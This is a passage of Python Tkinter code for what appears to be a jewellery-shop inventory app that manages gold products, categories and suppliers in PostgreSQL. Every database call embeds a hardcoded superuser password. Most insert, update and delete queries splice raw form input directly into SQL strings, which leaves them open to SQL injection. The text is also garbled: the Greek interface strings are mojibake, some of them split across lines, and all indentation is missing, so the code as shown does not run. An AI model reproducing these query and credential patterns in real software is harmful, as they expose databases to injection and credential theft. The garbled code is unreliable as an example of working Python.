temp9.config(text='ฮ ฮทฮผฮตฯฮฟฮผฮทฮฝฮฏฮฑ ฮดฮต ฮดฯฮธฮทฮบฮต ฯฯฯฯฮฌ!!')
temp9.config(fg="red")
temp10.config(text="")
else:
temp8.delete(0,'end')
temp9.config(text="")
temp10.config(text='ฮฯฮนฯฯ
ฯฮฎฯ ฮบฮฑฯฮฑฯฯฯฮทฯฮท')
temp10.config(fg="green")
temp1="'"+temp1+"'"
temp5="'"+temp5+"'"
temp6="'"+temp6+"'"
temp7="'"+temp7+"'"
if (len(temp2)==0):
temp2="NULL"
else:
temp2="'"+temp2+"'"
if (len(temp3)==0):
temp3="NULL"
else:
temp3="'"+temp3+"'"
if (len(temp4)==0):
temp4="NULL"
else:
temp4="'"+temp4+"'"
conn=psycopg2.connect("host='postgres-db' dbname='jewelery' user='postgres' password='kostas'")
cursor=conn.cursor()
query="INSERT INTO \"Gold Product\"(\"Categorie\",\"Date\",\"Price\",\"Color\",\"Company\",\"Quality\",\"Weight\") VALUES (%s,%s,%s,%s,%s,%s,%s);" % (temp1,temp2,temp3,temp4,temp5,temp6,temp7)
query_result=cursor.execute(query)
conn.commit()
conn.close()
def click3_frame2_click2_frame3_firsttime():
clear()
click3_frame2_click2_frame3()
def click3_frame2_click2_frame3():
#clear()
window.title("ฮจฮทฯฮนฮฑฮบฮฎ ฮฯฮฟฮธฮฎฮบฮท ฮฮฟฯฮผฮทฮผฮฑฯฮฟฯฯฮปฮตฮฏฮฟฯ
-ฮฮนฯฮฑฮณฯฮณฮฎ Nฮญฮฟฯ
ฮ ฯฮฟฯฯฮฝฯฮฟฯ ฮงฯฯ
ฯฮฟฯ")
Label(window,text="ฮฮฑฯฮทฮณฮฟฯฮฏฮฑ*").grid(row=0,column=0)
lst=run_query("SELECT * FROM \"Categories\"")
data=[]
for tuple in lst:
data.append(tuple[0])
E1=ttk.Combobox(window,width=100)
E1.grid(row=1,column=0)
E1['values']=data
Label(window,text="ฮฮผฮตฯฮฟฮผฮทฮฝฮฏฮฑ**").grid(row=2,column=0)
E2=Entry(window,width=100,bg="white")
E2.grid(row=3,column=0)
L1=Label(window,text="")
L1.grid(row=3,column=1)
Label(window,text="ฮคฮนฮผฮฎ***").grid(row=4,column=0)
E3=Entry(window,width=100,bg="white")
E3.grid(row=5,column=0)
Label(window,text="ฮงฯฯฮผฮฑ").grid(row=6,column=0)
E4=ttk.Combobox(window,width=100)
E4.grid(row=7,column=0)
E4['values']=['ฮฮฮคฮกฮฮฮ','ฮฮฃฮ ฮกฮ','ฮกฮฮ']
Label(window,text="ฮ ฯฮฟฮผฮทฮธฮตฯ
ฯฮฎฯ*").grid(row=8,column=0)
lst=run_query("SELECT * FROM \"Supplier\"")
data2=[]
for tuple in lst:
data2.append(tuple[0])
E5=ttk.Combobox(window,width=100)
E5.grid(row=9,column=0)
E5['values']=data2
Label(window,text="ฮ ฮฟฮนฯฯฮทฯฮฑ*").grid(row=10,column=0)
E6=ttk.Combobox(window,width=100)
E6.grid(row=11,column=0)
E6['values']=['K9','K14','K18']
Label(window,text="ฮฮฌฯฮฟฯ(*)(***)").grid(row=12,column=0)
E7=Entry(window,width=100,bg="white")
E7.grid(row=13,column=0)
L2=Label(window,text="")
L2.grid(row=13,column=1)
Button(window, text="ฮ ฯฮฟฯฮธฮฎฮบฮท",width=100,command=lambda:Add_Gold_Product(E1.get(),E2.get(),Converter_double_Precision(E3.get()),E4.get(),E5.get(),E6.get(),Converter_double_Precision(E7.get()),E7,L1,L2)).grid(row=14,column=0,padx=(10,10),pady=(10,10))
Button(window, text="ฮฮฑฮธฮฌฯฮนฯฮผฮฑ",width=100,command=click3_frame2_click2_frame3_firsttime).grid(row=15,column=0,padx=(10,10),pady=(10,10))
Button(window, text="ฮ ฮฏฯฯ",width=100,command=click3_frame2).grid(row=16,column=0,padx=(10,10),pady=(10,10))
Label(window,text="*ฮคฮฑ ฯฮตฮดฮฏฮฑ ฮตฮฏฮฝฮฑฮน ฯ
ฯฮฟฯฯฮตฯฯฮนฮบฯ ฮฝฮฑ ฮตฮฏฮฝฮฑฮน ฯฯ
ฮผฯฮปฮทฯฯฮผฮญฮฝฮฑ ฯฯฮนฮฝ ฯฮทฮฝ ฯฯฮฟฯฮธฮฎฮบฮท\n** ฮ ฮทฮผฮตฯฮฟฮผฮทฮฝฮฏฮฑ ฯฯฮญฯฮตฮน ฮฝฮฑ ฮตฮฏฮฝฮฑฮน ฯฮทฯ ฮผฮฟฯฯฮฎฯ:dd-mm-yyyy\n***ฮคฮฑ ฯฮตฮดฮฏฮฑ ฮคฮนฮผฮฎ ฮบฮฑฮน ฮฮฌฯฮฟฯ ฯฯฮญฯฮตฮน ฮฝฮฑ ฮดฯฮธฮฟฯฮฝ ฮผฮต ฮฑฮบฯฮฏฮฒฮตฮนฮฑ 2 ฮดฮตฮบฮฑฮดฮนฮบฯฮฝ ฯฮทฯฮฏฯฮฝ").grid(row=17,column=0,padx=(10,10),pady=(10,10))
Label(window,text="Created by Tsakos Kostas").grid(row=18,column=0)
def click3_frame2_click1_frame3():
clear()
window.title("ฮจฮทฯฮนฮฑฮบฮฎ ฮฯฮฟฮธฮฎฮบฮท ฮฮฟฯฮผฮทฮผฮฑฯฮฟฯฯฮปฮตฮฏฮฟฯ
-ฮ ฯฮฟฮฒฮฟฮปฮฎ ฮ ฯฮฟฯฯฮฝฯฯฮฝ ฮงฯฯ
ฯฮฟฯ")
lst=run_query("SELECT * FROM \"Gold Product\"")
tree=ttk.Treeview(window,height=25,show=["headings"])
tree["columns"]=("ฮฮฑฯฮทฮณฮฟฯฮฏฮฑ","ฮฮผฮตฯฮฟฮผฮทฮฝฮฏฮฑ","ฮคฮนฮผฮฎ","ฮงฯฯฮผฮฑ","ฮฯฮฑฮนฯฮตฮฏฮฑ","ฮ ฮฟฮนฯฯฮทฯฮฑ","ฮฮฌฯฮฟฯ")
tree.column("ฮฮฑฯฮทฮณฮฟฯฮฏฮฑ",width=100)
tree.column("ฮฮผฮตฯฮฟฮผฮทฮฝฮฏฮฑ",width=100)
tree.column("ฮคฮนฮผฮฎ",width=100)
tree.column("ฮงฯฯฮผฮฑ",width=100)
tree.column("ฮฯฮฑฮนฯฮตฮฏฮฑ",width=100)
tree.column("ฮ ฮฟฮนฯฯฮทฯฮฑ",width=100)
tree.column("ฮฮฌฯฮฟฯ",width=100)
tree.heading("ฮฮฑฯฮทฮณฮฟฯฮฏฮฑ", text="ฮฮฑฯฮทฮณฮฟฯฮฏฮฑ",command=lambda:Sorting_By_Column(tree,"SELECT * FROM \"Gold Product\"","Categorie"))
tree.heading("ฮฮผฮตฯฮฟฮผฮทฮฝฮฏฮฑ", text="ฮฮผฮตฯฮฟฮผฮทฮฝฮฏฮฑ",command=lambda:Sorting_By_Column(tree,"SELECT * FROM \"Gold Product\"","Date"))
tree.heading("ฮคฮนฮผฮฎ", text="ฮคฮนฮผฮฎ",command=lambda:Sorting_By_Column(tree,"SELECT * FROM \"Gold Product\"","Price"))
tree.heading("ฮงฯฯฮผฮฑ", text="ฮงฯฯฮผฮฑ",command=lambda:Sorting_By_Column(tree,"SELECT * FROM \"Gold Product\"","Color"))
tree.heading("ฮฯฮฑฮนฯฮตฮฏฮฑ", text="ฮฯฮฑฮนฯฮตฮฏฮฑ",command=lambda:Sorting_By_Column(tree,"SELECT * FROM \"Gold Product\"","Company"))
tree.heading("ฮ ฮฟฮนฯฯฮทฯฮฑ", text="ฮ ฮฟฮนฯฯฮทฯฮฑ",command=lambda:Sorting_By_Column(tree,"SELECT * FROM \"Gold Product\"","Quality"))
tree.heading("ฮฮฌฯฮฟฯ", text="ฮฮฌฯฮฟฯ",command=lambda:Sorting_By_Column(tree,"SELECT * FROM \"Gold Product\"","Weight"))
for i in lst:
tree.insert("",END,values=i)
tree.grid(row=0,column=0,padx=(10,10),pady=(10,10))
Button(window, text="ฮ ฮฏฯฯ",width=100,command=click3_frame2).grid(row=1,column=0,padx=(10,10),pady=(10,10))
Label(window,text="Created by Tsakos Kostas").grid(row=2,column=0)
def click3_frame2():
clear()
window.title("ฮจฮทฯฮนฮฑฮบฮฎ ฮฯฮฟฮธฮฎฮบฮท ฮฮฟฯฮผฮทฮผฮฑฯฮฟฯฯฮปฮตฮฏฮฟฯ
-ฮ ฯฮฟฯฯฮฝฯฮฑ ฮงฯฯ
ฯฮฟฯ")
Button(window, text="ฮ ฯฮฟฮฒฮฟฮปฮฎ ฮ ฯฮฟฯฯฮฝฯฯฮฝ",width=100,command=click3_frame2_click1_frame3).grid(row=0,column=0,padx=(10,10),pady=(10,10))
Button(window, text="ฮฮนฯฮฑฮณฯฮณฮฎ ฮฮญฮฟฯ
ฮ ฯฮฟฯฯฮฝฯฮฟฯ",width=100,command=click3_frame2_click2_frame3_firsttime).grid(row=1,column=0,padx=(10,10),pady=(10,10))
Button(window, text="ฮฮนฮฑฮณฯฮฑฯฮฎ ฮ ฯฮฟฯฯฮฝฯฮฟฯ",width=100,command=click3_frame2_click3_frame3).grid(row=2,column=0,padx=(10,10),pady=(10,10))
Button(window, text="ฮ ฮฏฯฯ",width=100,command=frame1).grid(row=3,column=0,padx=(10,10),pady=(10,10))
Label(window,text="Created by Tsakos Kostas").grid(row=4,column=0)
########################################################## END OF GOLD PRODUCTS OPERATIONS #######################################################
######################################################### CATEGORIES OPERATIONS IMPLEMENTATION #####################################################
def Delete_Category(tree):#Delete Categories from db
for selected_item in tree.selection():
conn=psycopg2.connect("host='postgres-db' dbname='jewelery' user='postgres' password='kostas'")
cursor=conn.cursor()
query="DELETE FROM \"Categories\" WHERE (\"Name\"='"+tree.set(selected_item,'#1')+"')"
query_result=cursor.execute(query)
conn.commit()
conn.close()
tree.delete(selected_item)
click2_frame2_click4_frame3()
def click2_frame2_click4_frame3():
clear()
window.title("ฮจฮทฯฮนฮฑฮบฮฎ ฮฯฮฟฮธฮฎฮบฮท ฮฮฟฯฮผฮทฮผฮฑฯฮฟฯฯฮปฮตฮฏฮฟฯ
-ฮฮนฮฑฮณฯฮฑฯฮฎ ฮฮฑฯฮทฮณฮฟฯฮฏฮฑฯ")
lst=run_query("SELECT * FROM \"Categories\"")
tree=ttk.Treeview(window,height=25,show=["headings"])
tree["columns"]=("ฮฮฝฮฟฮผฮฑ")
tree.column("ฮฮฝฮฟฮผฮฑ",width=600)
tree.heading("ฮฮฝฮฟฮผฮฑ", text="ฮฮฝฮฟฮผฮฑ",command=lambda:Sorting_By_Column(tree,"SELECT * FROM \"Categories\"","Name"))
for i in lst:
tree.insert("",END,values=i)
tree.grid(row=0,column=0,padx=(10,10),pady=(10,10))
Button(window, text="ฮฮนฮฑฮณฯฮฑฯฮฎ",width=100,command=lambda:Delete_Category(tree)).grid(row=1,column=0,padx=(10,10),pady=(10,10))
Button(window, text="ฮ ฮฏฯฯ",width=100,command=click2_frame2).grid(row=2,column=0,padx=(10,10),pady=(10,10))
Label(window,text="Created by Tsakos Kostas").grid(row=3,column=0)
def Edit_Category(temp1,temp2):
if (len(temp1)==0):
Label(window,text="ฮคฮฟ ฯฮตฮดฮฏฮฟ ฯฯฮญฯฮตฮน ฮฝฮฑ ฯฯ
ฮผฯฮปฮทฯฯฮธฮตฮฏ ฮณฮนฮฑ ฯฮทฮฝ ฮตฮฝฮทฮผฮญฯฯฯฮท!!*",fg="red").grid(row=1,column=1,padx=(10,10),pady=(10,10))
else:
conn=psycopg2.connect("host='postgres-db' dbname='jewelery' user='postgres' password='kostas'")
cursor=conn.cursor()
query="UPDATE \"Categories\" SET \"Name\"='"+temp1+"' WHERE \"Name\"='"+temp2+"'"
query_result=cursor.execute(query)
conn.commit()
conn.close()
click2_frame2_click3_frame3()
def Edit_Cat(tree):
if (len(tree)!=0):
clear()
window.title("ฮจฮทฯฮนฮฑฮบฮฎ ฮฯฮฟฮธฮฎฮบฮท ฮฮฟฯฮผฮทฮผฮฑฯฮฟฯฯฮปฮตฮฏฮฟฯ
-ฮฯฮตฮพฮตฯฮณฮฑฯฮฏฮฑ ฮฮฑฯฮทฮณฮฟฯฮฏฮฑฯ")
Label(window,text="ฮฮฝฮฟฮผฮฑ*").grid(row=0,column=0,padx=(10,10),pady=(10,10))
E1=Entry(window,width=100,bg="white")
E1.grid(row=1,column=0,padx=(10,10),pady=(10,10))
E1.insert(END,tree[0])
Button(window, text="ฮฯฮฟฮธฮฎฮบฮตฯ
ฯฮท",width=100,command=lambda:Edit_Category(E1.get(),tree[0])).grid(row=2,column=0,padx=(10,10),pady=(10,10))
Button(window, text="ฮฮบฯฯฯฯฮท",width=100,command=click2_frame2_click3_frame3).grid(row=3,column=0,padx=(10,10),pady=(10,10))
else:
click2_frame2_click3_frame3()
def click2_frame2_click3_frame3():
clear()
window.title("ฮจฮทฯฮนฮฑฮบฮฎ ฮฯฮฟฮธฮฎฮบฮท ฮฮฟฯฮผฮทฮผฮฑฯฮฟฯฯฮปฮตฮฏฮฟฯ
-ฮฯฮตฮพฮตฯฮณฮฑฯฮฏฮฑ ฮฮฑฯฮทฮณฮฟฯฮฏฮฑฯ")
lst=run_query("SELECT * FROM \"Categories\"")
tree=ttk.Treeview(window,height=25,show=["headings"])
tree["columns"]=("ฮฮฝฮฟฮผฮฑ")
tree.column("ฮฮฝฮฟฮผฮฑ",width=600)
tree.heading("ฮฮฝฮฟฮผฮฑ", text="ฮฮฝฮฟฮผฮฑ",command=lambda:Sorting_By_Column(tree,"SELECT * FROM \"Categories\"","Name"))
for i in lst:
tree.insert("",END,values=i)
tree.grid(row=0,column=0,padx=(10,10),pady=(10,10))
Button(window, text="ฮฯฮตฮพฮตฯฮณฮฑฯฮฏฮฑ",width=100,command=lambda:Edit_Cat(tree.item(tree.selection())['values'])).grid(row=1,column=0,padx=(10,10),pady=(10,10))
Button(window, text="ฮ ฮฏฯฯ",width=100,command=click2_frame2).grid(row=2,column=0,padx=(10,10),pady=(10,10))
Label(window,text="Created by Tsakos Kostas").grid(row=3,column=0)
def Add_Category(temp1):
if (len(temp1)==0):
Label(window,text="ฮคฮฟ ฯฮตฮดฮฏฮฟ ฯฯฮญฯฮตฮน ฮฝฮฑ ฯฯ
ฮผฯฮปฮทฯฯฮธฮตฮฏ ฯฯฮนฮฝ ฯฮทฮฝ ฮตฮนฯฮฑฮณฯฮณฮฎ!!*",fg="red").grid(row=1,column=1,padx=(10,10),pady=(10,10))
else:
clear()
click2_frame2()
conn=psycopg2.connect("host='postgres-db' dbname='jewelery' user='postgres' password='kostas'")
cursor=conn.cursor()
query="INSERT INTO \"Categories\"(\"Name\") VALUES ('"+temp1+"');"
query_result=cursor.execute(query)
conn.commit()
conn.close()
def click2_frame2_click2_frame3():
clear()
window.title("ฮจฮทฯฮนฮฑฮบฮฎ ฮฯฮฟฮธฮฎฮบฮท ฮฮฟฯฮผฮทฮผฮฑฯฮฟฯฯฮปฮตฮฏฮฟฯ
-ฮฮนฯฮฑฮณฯฮณฮฎ ฮฮญฮฑฯ ฮฮฑฯฮทฮณฮฟฯฮฏฮฑฯ")
Label(window,text="ฮฮฝฮฟฮผฮฑ*").grid(row=0,column=0,padx=(10,10),pady=(10,10))
E1=Entry(window,width=100,bg="white")
E1.grid(row=1,column=0,padx=(10,10),pady=(10,10))
Button(window, text="ฮ ฯฮฟฯฮธฮฎฮบฮท",width=100,command=lambda:Add_Category(E1.get())).grid(row=2,column=0,padx=(10,10),pady=(10,10))
Button(window, text="ฮ ฮฏฯฯ",width=100,command=click2_frame2).grid(row=3,column=0,padx=(10,10),pady=(10,10))
Label(window,text="* ฮคฮฑ ฯฮตฮดฮฏฮฑ ฮตฮนฮฝฮฑฮน ฯ
ฯฮฟฯฯฮตฯฯฮนฮบฮฌ ฮฝฮฑ ฯฯ
ฮผฯฮปฮทฯฯฮธฮฟฯฮฝ!!").grid(row=4,column=0,padx=(10,10),pady=(10,10))
Label(window,text="Created by Tsakos Kostas").grid(row=5,column=0)
def click2_frame2_click1_frame3():
clear()
window.title("ฮจฮทฯฮนฮฑฮบฮฎ ฮฯฮฟฮธฮฎฮบฮท ฮฮฟฯฮผฮทฮผฮฑฯฮฟฯฯฮปฮตฮฏฮฟฯ
-ฮ ฯฮฟฮฒฮฟฮปฮฎ ฮฮฑฯฮทฮณฮฟฯฮนฯฮฝ")
lst=run_query("SELECT * FROM \"Categories\"")
tree=ttk.Treeview(window,height=25,show=["headings"])
tree["columns"]=("ฮฮฝฮฟฮผฮฑ")
tree.column("ฮฮฝฮฟฮผฮฑ",width=600)
tree.heading("ฮฮฝฮฟฮผฮฑ", text="ฮฮฝฮฟฮผฮฑ",command=lambda:Sorting_By_Column(tree,"SELECT * FROM \"Categories\"","Name"))
for i in lst:
tree.insert("",END,values=i)
tree.grid(row=0,column=0,padx=(10,10),pady=(10,10))
Button(window, text="ฮ ฮฏฯฯ",width=100,command=click2_frame2).grid(row=1,column=0,padx=(10,10),pady=(10,10))
Label(window,text="Created by Tsakos Kostas").grid(row=2,column=0)
def click2_frame2():
clear()
window.title("ฮจฮทฯฮนฮฑฮบฮฎ ฮฯฮฟฮธฮฎฮบฮท ฮฮฟฯฮผฮทฮผฮฑฯฮฟฯฯฮปฮตฮฏฮฟฯ
-ฮฮฑฯฮทฮณฮฟฯฮฏฮตฯ ฮ ฯฮฟฯฯฮฝฯฯฮฝ")
Button(window, text="ฮ ฯฮฟฮฒฮฟฮปฮฎ ฮฮฑฯฮทฮณฮฟฯฮนฯฮฝ",width=100,command=click2_frame2_click1_frame3).grid(row=0,column=0,padx=(10,10),pady=(10,10))
Button(window, text="ฮฮนฯฮฑฮณฯฮณฮฎ ฮฮญฮฑฯ ฮฮฑฯฮทฮณฮฟฯฮฏฮฑฯ",width=100,command=click2_frame2_click2_frame3).grid(row=1,column=0,padx=(10,10),pady=(10,10))
Button(window, text="ฮฯฮตฮพฮตฯฮณฮฑฯฮฏฮฑ ฮฮฑฯฮทฮณฮฟฯฮฏฮฑฯ",width=100,command=click2_frame2_click3_frame3).grid(row=2,column=0,padx=(10,10),pady=(10,10))
Button(window, text="ฮฮนฮฑฮณฯฮฑฯฮฎ ฮฮฑฯฮทฮณฮฟฯฮฏฮฑฯ",width=100,command=click2_frame2_click4_frame3).grid(row=3,column=0,padx=(10,10),pady=(10,10))
Button(window, text="ฮ ฮฏฯฯ",width=100,command=frame1).grid(row=4,column=0,padx=(10,10),pady=(10,10))
Label(window,text="Created by Tsakos Kostas").grid(row=5,column=0)
######################################################### END OF CATEGORIES OPERATIONS #########################################################
######################################################### SUPPLIERS OPERATIONS IMPLEMENTATION #######################################################
def Edit_Supplier(temp1,temp2,temp3,temp4,temp5,temp6,temp7,temp8,temp9):
if (len(temp1)==0):
Label(window,text="ฮ ฯฮญฯฮตฮน ฮฝฮฑ ฮดฯฮธฮตฮฏ ฯฮฟ ฯฮฝฮฟฮผฮฑ ฯฮทฯ ฮตฯฮฑฮนฯฮตฮฏฮฑฯ!!",fg="red").grid(row=1,column=1,padx=(10,10),pady=(10,10))
else:
conn=psycopg2.connect("host='postgres-db' dbname='jewelery' user='postgres' password='kostas'")
cursor=conn.cursor()
query="UPDATE \"Supplier\" SET \"Company\"='"+temp1+"',\"Name\"='"+temp2+"',\"Surname\"='"+temp3+"',\"Address\"='"+temp4+"',\"Phone\"='"+temp5+"',\"Mobile Phone\"='"+temp6+"',\"Bank Account\"='"+temp7+"',\"Bank Account2\"='"+temp8+"' WHERE (\"Company\"='"+temp9+"')"
query_result=cursor.execute(query)
conn.commit()
conn.close()
click1_frame2_click3_frame3()
def Edit_Sup(tree):#Edit Supplier from db
if (len(tree)!=0): #Check in case nothing was checked!!
clear()
window.title("ฮจฮทฯฮนฮฑฮบฮฎ ฮฯฮฟฮธฮฎฮบฮท ฮฮฟฯฮผฮทฮผฮฑฯฮฟฯฯฮปฮตฮฏฮฟฯ
-ฮฯฮตฮพฮตฯฮณฮฑฯฮฏฮฑ ฮ ฯฮฟฮผฮทฮธฮตฯ
ฯฮฎ")
Label(window,text="ฮฯฮฑฮนฯฮตฮฏฮฑ*").grid(row=0,column=0,padx=(10,10),pady=(10,10))
E1=Entry(window,width=100,bg="white")
E1.grid(row=1,column=0,padx=(10,10),pady=(10,10))
E1.insert(END,tree[0])
Label(window,text="ฮฮฝฮฟฮผฮฑ").grid(row=2,column=0,padx=(10,10),pady=(10,10))
E2=Entry(window,width=100,bg="white")
E2.grid(row=3,column=0,padx=(10,10),pady=(10,10))
E2.insert(END,tree[1])
Label(window,text="ฮฯฮฏฮธฮตฯฮฟ").grid(row=4,column=0,padx=(10,10),pady=(10,10))
E3=Entry(window,width=100,bg="white")
E3.grid(row=5,column=0,padx=(10,10),pady=(10,10))
E3.insert(END,tree[2])
Label(window,text="ฮฮนฮตฯฮธฯ
ฮฝฯฮท").grid(row=6,column=0,padx=(10,10),pady=(10,10))
E4=Entry(window,width=100,bg="white")
E4.grid(row=7,column=0,padx=(10,10),pady=(10,10))
E4.insert(END,tree[3])
Label(window,text="ฮฃฯฮฑฮธฮตฯฯ ฮคฮทฮปฮญฯฯฮฝฮฟ").grid(row=8,column=0,padx=(10,10),pady=(10,10))
E5=Entry(window,width=100,bg="white")
E5.grid(row=9,column=0,padx=(10,10),pady=(10,10))
E5.insert(END,tree[4])
Label(window,text="ฮฮนฮฝฮทฯฯ").grid(row=10,column=0,padx=(10,10),pady=(10,10))
E6=Entry(window,width=100,bg="white")
E6.grid(row=11,column=0,padx=(10,10),pady=(10,10))
E6.insert(END,tree[5])
Label(window,text="ฮคฯฮฑฯฮตฮถฮนฮบฯฯ ฮฮฟฮณฮฑฯฮนฮฑฯฮผฯฯ").grid(row=12,column=0,padx=(10,10),pady=(10,10))
E7=Entry(window,width=100,bg="white")
E7.grid(row=13,column=0,padx=(10,10),pady=(10,10))
E7.insert(END,tree[6])
Label(window,text="ฮคฯฮฑฯฮตฮถฮนฮบฯฯ ฮฮฟฮณฮฑฯฮนฮฑฯฮผฯฯ2").grid(row=14,column=0,padx=(10,10),pady=(10,10))
E8=Entry(window,width=100,bg="white")
E8.grid(row=15,column=0,padx=(10,10),pady=(10,10))
E8.insert(END,tree[7])
Button(window, text="ฮฯฮฟฮธฮฎฮบฮตฯ
ฯฮท",width=100,command=lambda:Edit_Supplier(E1.get(),E2.get(),E3.get(),E4.get(),E5.get(),E6.get(),E7.get(),E8.get(),tree[0])).grid(row=16,column=0,padx=(10,10),pady=(10,10))
Button(window, text="ฮฮบฯฯฯฯฮท",width=100,command=click1_frame2_click3_frame3).grid(row=17,column=0,padx=(10,10),pady=(10,10))
else:
click1_frame2_click3_frame3()
def click1_frame2_click3_frame3():
clear()
window.title("ฮจฮทฯฮนฮฑฮบฮฎ ฮฯฮฟฮธฮฎฮบฮท ฮฮฟฯฮผฮทฮผฮฑฯฮฟฯฯฮปฮตฮฏฮฟฯ
-ฮฯฮตฮพฮตฯฮณฮฑฯฮฏฮฑ ฮ ฯฮฟฮผฮทฮธฮตฯ
ฯฮฎ")
lst=run_query("SELECT * FROM \"Supplier\"")
tree=ttk.Treeview(window,height=25,show=["headings"])
tree["columns"]=("ฮฯฮฑฮนฯฮตฮฏฮฑ","ฮฮฝฮฟฮผฮฑ","ฮฯฮฏฮธฮตฯฮฟ","ฮฮนฮตฯฮธฯ
ฮฝฯฮท","ฮฃฯฮฑฮธฮตฯฯ ฮคฮทฮปฮญฯฯฮฝฮฟ","ฮฮนฮฝฮทฯฯ","ฮคฯฮฑฯฮตฮถฮนฮบฯฯ ฮฮฟฮณฮฑฯฮนฮฑฯฮผฯฯ","ฮคฯฮฑฯฮตฮถฮนฮบฯฯ ฮฮฟฮณฮฑฯฮนฮฑฯฮผฯฯ2")
tree.column("ฮฯฮฑฮนฯฮตฮฏฮฑ",width=100)
tree.column("ฮฮฝฮฟฮผฮฑ",width=100)
tree.column("ฮฯฮฏฮธฮตฯฮฟ",width=100)
tree.column("ฮฮนฮตฯฮธฯ
ฮฝฯฮท",width=100)
tree.column("ฮฃฯฮฑฮธฮตฯฯ ฮคฮทฮปฮญฯฯฮฝฮฟ",width=200)
tree.column("ฮฮนฮฝฮทฯฯ",width=100)
tree.column("ฮคฯฮฑฯฮตฮถฮนฮบฯฯ ฮฮฟฮณฮฑฯฮนฮฑฯฮผฯฯ",width=200)
tree.column("ฮคฯฮฑฯฮตฮถฮนฮบฯฯ ฮฮฟฮณฮฑฯฮนฮฑฯฮผฯฯ2",width=200)
tree.heading("ฮฯฮฑฮนฯฮตฮฏฮฑ", text="ฮฯฮฑฮนฯฮตฮฏฮฑ",command=lambda:Sorting_By_Column(tree,"SELECT * FROM \"Supplier\"","Company"))
tree.heading("ฮฮฝฮฟฮผฮฑ", text="ฮฮฝฮฟฮผฮฑ",command=lambda:Sorting_By_Column(tree,"SELECT * FROM \"Supplier\"","Name"))
tree.heading("ฮฯฮฏฮธฮตฯฮฟ", text="ฮฯฮฏฮธฮตฯฮฟ",command=lambda:Sorting_By_Column(tree,"SELECT * FROM \"Supplier\"","Surname"))
tree.heading("ฮฮนฮตฯฮธฯ
ฮฝฯฮท", text="ฮฮนฮตฯฮธฯ
ฮฝฯฮท",command=lambda:Sorting_By_Column(tree,"SELECT * FROM \"Supplier\"","Address"))
tree.heading("ฮฃฯฮฑฮธฮตฯฯ ฮคฮทฮปฮญฯฯฮฝฮฟ", text="ฮฃฯฮฑฮธฮตฯฯ ฮคฮทฮปฮญฯฯฮฝฮฟ",command=lambda:Sorting_By_Column(tree,"SELECT * FROM \"Supplier\"","Phone"))
tree.heading("ฮฮนฮฝฮทฯฯ", text="ฮฮนฮฝฮทฯฯ",command=lambda:Sorting_By_Column(tree,"SELECT * FROM \"Supplier\"","Mobile Phone"))
tree.heading("ฮคฯฮฑฯฮตฮถฮนฮบฯฯ ฮฮฟฮณฮฑฯฮนฮฑฯฮผฯฯ", text="ฮคฯฮฑฯฮตฮถฮนฮบฯฯ ฮฮฟฮณฮฑฯฮนฮฑฯฮผฯฯ",command=lambda:Sorting_By_Column(tree,"SELECT * FROM \"Supplier\"","Bank Account"))
tree.heading("ฮคฯฮฑฯฮตฮถฮนฮบฯฯ ฮฮฟฮณฮฑฯฮนฮฑฯฮผฯฯ2", text="ฮคฯฮฑฯฮตฮถฮนฮบฯฯ ฮฮฟฮณฮฑฯฮนฮฑฯฮผฯฯ2",command=lambda:Sorting_By_Column(tree,"SELECT * FROM \"Supplier\"","Bank Account2"))
for i in lst:
tree.insert("",END,values=i)
tree.grid(row=0,column=0,padx=(10,10),pady=(10,10))
Button(window, text="ฮฯฮตฮพฮตฯฮณฮฑฯฮฏฮฑ",width=100,command=lambda:Edit_Sup(tree.item(tree.selection())['values'])).grid(row=1,column=0,padx=(10,10),pady=(10,10))
Button(window, text="ฮ ฮฏฯฯ",width=100,command=click1_frame2).grid(row=2,column=0,padx=(10,10),pady=(10,10))
Label(window,text="Created by Tsakos Kostas").grid(row=3,column=0)
def Add_Supplier(temp1,temp2,temp3,temp4,temp5,temp6,temp7,temp8):#Insert Suppliers into DB
if (len(temp1)==0):
Label(window,text="ฮ ฯฮญฯฮตฮน ฮฝฮฑ ฮดฯฮธฮตฮฏ ฮท ฮตฯฮฑฮนฯฮตฮฏฮฑ!!",fg="red").grid(row=1,column=1,padx=(10,10),pady=(10,10))
else:
clear()
click1_frame2()
conn=psycopg2.connect("host='postgres-db' dbname='jewelery' user='postgres' password='kostas'")
cursor=conn.cursor()
query="INSERT INTO \"Supplier\"(\"Company\",\"Name\",\"Surname\",\"Address\",\"Phone\",\"Mobile Phone\",\"Bank Account\",\"Bank Account2\") VALUES ('"+temp1+"','"+temp2+"','"+temp3+"','"+temp4+"','"+temp5+"','"+temp6+"','"+temp7+"','"+temp8+"');"
query_result=cursor.execute(query)
conn.commit()
conn.close()
def click1_frame2_click2_frame3():
clear()
window.title("ฮจฮทฯฮนฮฑฮบฮฎ ฮฯฮฟฮธฮฎฮบฮท ฮฮฟฯฮผฮทฮผฮฑฯฮฟฯฯฮปฮตฮฏฮฟฯ
-ฮฮนฯฮฑฮณฯฮณฮฎ ฮ ฯฮฟฮผฮทฮธฮตฯ
ฯฮฎ")
Label(window,text="ฮฯฮฑฮนฯฮตฮฏฮฑ*").grid(row=0,column=0,padx=(10,10),pady=(5,5))
E1=Entry(window,width=100,bg="white")
E1.grid(row=1,column=0,padx=(10,10),pady=(5,5))
Label(window,text="ฮฮฝฮฟฮผฮฑ").grid(row=2,column=0,padx=(10,10),pady=(5,5))
E2=Entry(window,width=100,bg="white")
E2.grid(row=3,column=0,padx=(10,10),pady=(5,5))
Label(window,text="ฮฯฮฏฮธฮตฯฮฟ").grid(row=4,column=0,padx=(10,10),pady=(5,5))
E3=Entry(window,width=100,bg="white")
E3.grid(row=5,column=0,padx=(10,10),pady=(5,5))
Label(window,text="ฮฮนฮตฯฮธฯ
ฮฝฯฮท").grid(row=6,column=0,padx=(10,10),pady=(5,5))
E4=Entry(window,width=100,bg="white")
E4.grid(row=7,column=0,padx=(10,10),pady=(5,5))
Label(window,text="ฮฃฯฮฑฮธฮตฯฯ ฮคฮทฮปฮญฯฯฮฝฮฟ").grid(row=8,column=0,padx=(10,10),pady=(5,5))
E5=Entry(window,width=100,bg="white")
E5.grid(row=9,column=0,padx=(10,10),pady=(5,5))
Label(window,text="ฮฮนฮฝฮทฯฯ").grid(row=10,column=0,padx=(10,10),pady=(5,5))
E6=Entry(window,width=100,bg="white")
E6.grid(row=11,column=0,padx=(10,10),pady=(5,5))
Label(window,text="ฮคฯฮฑฯฮตฮถฮนฮบฯฯ ฮฮฟฮณฮฑฯฮนฮฑฯฮผฯฯ").grid(row=12,column=0,padx=(10,10),pady=(5,5))
E7=Entry(window,width=100,bg="white")
